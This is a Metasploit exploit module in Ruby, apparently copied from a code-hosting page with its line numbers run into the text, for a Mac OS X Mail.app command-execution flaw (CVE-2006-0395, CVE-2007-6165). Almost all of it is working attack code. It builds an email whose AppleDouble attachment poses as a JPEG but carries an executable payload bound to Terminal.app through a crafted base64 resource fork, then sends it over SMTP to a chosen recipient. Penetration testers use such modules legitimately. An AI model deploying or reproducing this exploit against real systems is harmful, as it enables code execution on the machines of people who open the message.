Path: blob/master/modules/exploits/osx/email/mailapp_image_exec.rb
19847 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78#9# This module sends email messages via smtp10#11include Msf::Exploit::Remote::SMTPDeliver12include Msf::Exploit::EXE1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Mail.app Image Attachment Command Execution',19'Description' => %q{20This module exploits a command execution vulnerability in the21Mail.app application shipped with Mac OS X 10.5.0. This flaw was22patched in 10.4 in March of 2007, but reintroduced into the final23release of 10.5.24},25'License' => MSF_LICENSE,26'Author' => ['hdm', 'kf'],27'References' => [28['CVE', '2006-0395'],29['CVE', '2007-6165'],30['OSVDB', '40875'],31['BID', '26510'],32['BID', '16907']33],34'Stance' => Msf::Exploit::Stance::Passive,35'Payload' => {36'Space' => 8192,37'DisableNops' => true,38'BadChars' => "",39'Compat' =>40{41'ConnectionType' => '-bind -find',42},43},44'Platform' => %w{unix osx},45'Targets' => [46[47'Mail.app - Command Payloads',48{49'Platform' => 'unix',50'Arch' => ARCH_CMD,51'PayloadCompat' => {52'RequiredCmd' => 'generic perl ruby bash-tcp telnet',53}54}55],56[57'Mail.app - Binary Payloads (x86)',58{59'Platform' => 'osx',60'Arch' => ARCH_X86,61}62],63[64'Mail.app - Binary Payloads (ppc)',65{66'Platform' => 'osx',67'Arch' => ARCH_PPC,68}69],70],71'DisclosureDate' => '2006-03-01',72'Notes' => {73'Reliability' => UNKNOWN_RELIABILITY,74'Stability' => UNKNOWN_STABILITY,75'SideEffects' => UNKNOWN_SIDE_EFFECTS76}77)78)79end8081def autofilter82false83end8485def exploit86exts = ['jpg']8788gext = exts[rand(exts.length)]89name = rand_text_alpha(5) + ".#{gext}"90data = rand_text_alpha(rand(32) + 1)9192msg = Rex::MIME::Message.new93msg.mime_defaults94msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32) + 1)95msg.to = datastore['MAILTO']96msg.from = datastore['MAILFROM']9798dbl = Rex::MIME::Message.new99dbl.header.set("Content-Type", "multipart/appledouble;\r\n boundary=#{dbl.bound}")100dbl.header.set("Content-Disposition", "inline")101102# AppleDouble file version 2103# 3 entries - 'Finder Info', 'Real name', 'Resource Fork'104# Real Name matches msf random generated 5 character name - (I cheated ala gsub)105106resfork =107"AAUWBwACAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAJAAAAPgAAAAoAAAADAAAASAAAAAkAAAACAAAA\r\n" +108"UQAABToAAAAAAAAAAAAASGVpc2UuanBnAAABAAAABQgAAAQIAAAAMgAAAAAAAAAAAAAAAAAAAAAA\r\n" +109"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +110"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +111"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +112"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQA\r\n" +113"AAAlL0FwcGxpY2F0aW9ucy9VdGlsaXRpZXMvVGVybWluYWwuYXBwAOzs7P/s7Oz/7Ozs/+zs7P/s\r\n" +114"7Oz/7Ozs/+Hh4f/h4eH/4eHh/+Hh4f/h4eH/4eHh/+Hh4f/h4eH/5ubm/+bm5v/m5ub/5ubm/+bm\r\n" +115"5v/m5ub/5ubm/+bm5v/p6en/6enp/+np6f/p6en/6enp/+np6f/p6en/6enp/+zs7P/s7Oz/7Ozs\r\n" +116"/+zs7P/s7Oz/7Ozs/+zs7P/s7Oz/7+/v/+/v7//v7+//7+/v/+/v7//v7+//7+/v/+/v7//z8/P/\r\n" +117"8/Pz//Pz8//z8/P/8/Pz//Pz8//z8/P/8/Pz//b29v/29vb/9vb2//b29v/29vb/9vb2//b29v/2\r\n" +118"9vb/+Pj4//j4+P/4+Pj/+Pj4//j4+P/4+Pj/+Pj4//j4+P/8/Pz//Pz8//z8/P/8/Pz//Pz8//z8\r\n" +119"/P/8/Pz//Pz8////////////////////////////////////////////////////////////////\r\n" +120"/////////////////////6gAAACoAAAAqAAAAKgAAACoAAAAqAAAAKgAAACoAAAAKgAAACoAAAAq\r\n" +121"AAAAKgAAACoAAAAqAAAAKgAAACoAAAADAAAAAwAAAAMAAAADAAAAAwAAAAMAAAADAAAAAwAAAAAA\r\n" +122"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +123"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +124"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +125"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +126"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +127"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +128"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +129"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +130"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" +131"AAAAAQAAAAUIAAAECAAAADIAX9CsEsIAAAAcADIAAHVzcm8AAAAKAAD//wAAAAABDSF8" + "\r\n"132133fork = Rex::Text.encode_base64(Rex::Text.decode_base64(resfork).gsub("Heise.jpg", name), "\r\n")134135cid = "<#{rand_text_alpha(rand(16) + 16)}@#{rand_text_alpha(rand(16) + 1)}.com>"136137cmd = ''138139if (target.arch.include?(ARCH_CMD))140cmd = Rex::Text.encode_base64(payload.encoded, "\r\n")141else142bin = generate_payload_exe143cmd = Rex::Text.encode_base64(bin, "\r\n")144end145146dbl.add_part(fork, "application/applefile;\r\n name=\"#{name}\"", "base64", "inline;\r\n filename=#{name}")147dbl.add_part(cmd, "image/jpeg;\r\n x-mac-type=0;\r\n x-unix-mode=0755;\r\n x-mac-creator=0;\r\n name=\"#{name}\"", "base64\r\nContent-Id: #{cid}", "inline;\r\n filename=#{name}")148149msg.parts << dbl150151send_message(msg.to_s)152153print_status("Waiting for a payload session (backgrounding)...")154end155end156157158